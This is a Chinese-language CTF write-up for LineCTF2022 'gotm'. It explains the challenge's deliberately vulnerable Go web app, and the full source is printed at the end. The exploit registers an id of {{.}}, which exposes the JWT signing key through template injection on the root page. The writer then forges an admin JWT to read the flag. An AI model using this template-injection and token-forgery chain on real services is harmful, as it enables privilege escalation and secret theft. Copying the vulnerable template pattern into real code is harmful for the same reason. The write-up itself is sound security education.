LineCTF2022-gotm
知识点概要:SSTI模板注入、JWT伪造
题目给出了go源码(末尾有完整代码)
Account结构体,主要就四个属性
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
注册功能:http.HandleFunc("/regist", regist_handler)
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id") #读取参数id值
upw := r.FormValue("pw") #读取参数pw值
if uid == "" || upw == "" { #判断id和pw是否为空
return
}
if get_account(uid).id != "" { #根据id判断,若用户已存在,报错
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key} #创建账户的四个属性,只有id和pw可控
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
注册用户传参如下,注册成功
/regist?id=2&pw=password
get_account()函数
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
acc在代码前面的定义是var acc []Account
,是全局数组变量
登录认证功能:http.HandleFunc("/auth", auth_handler)
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin) #生成jwt
if err != nil {
return
}
p := TokenResp{true, token} #返回jwt
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
用刚才注册的账户认证,认证成功,返回jwt
/auth?id=2&pw=password
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjIiLCJpc19hZG1pbiI6ZmFsc2V9.e418r9xtLSloAZhbw0hbSa-xOF03AqyBoovOzWRkHoA"}
SSTI漏洞产生位置:http.HandleFunc("/", root_handler)
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token) #从jwt中解析出id属性
acc := get_account(id) #根据id,查找账户
tpl, err := template.New("").Parse("Logged in as " + acc.id) #acc.id存在SSTI
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
flag读取功能:http.HandleFunc("/flag", flag_handler)
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token) #从jwt解析出id和is_admin属性
if is_admin == true { #判断is_admin属性为true才可以返回flag
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
根据regist_handler(),我们知道注册账户时,默认给的is_admin属性为false
此处要让flag_handler()返回flag,我们需要通过伪造jwt把is_admin属性修改为true
又由于jwt编码过程中需要用到secret_key作签名密钥,secret_key是环境变量,就需要通过SSTI漏洞把secret_key读出来
secret_key定义:
var secret_key = os.Getenv("KEY")
jwt_encode()函数:
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
SSTI注入参考:https://forum.butian.net/share/1286
常规思路可以注入{{.}}
或{{.secret_key}}
来读secret_key属性,但此处由于root_handler()
函数得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}
会返回空,所以此处只能用{{.}}
来返回全部属性
注册、认证获取jwt的请求和响应如下
/regist?id={{.}}&pw=password
{"status":true,"msg":""}
/auth?id={{.}}&pw=password
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}
在根目录传入X-Token头部,成功读到secret_key
伪造jwt,修改如下
在/flag传入伪造的jwt,获取flag
参考
https://blog.csdn.net/weixin_46081055/article/details/124201444
https://tyskill.github.io/posts/gossti/
完整源码
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"text/template"
"github.com/golang-jwt/jwt"
)
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}
type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}
type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}
var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")
func clear_account() {
acc = acc[:1]
}
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}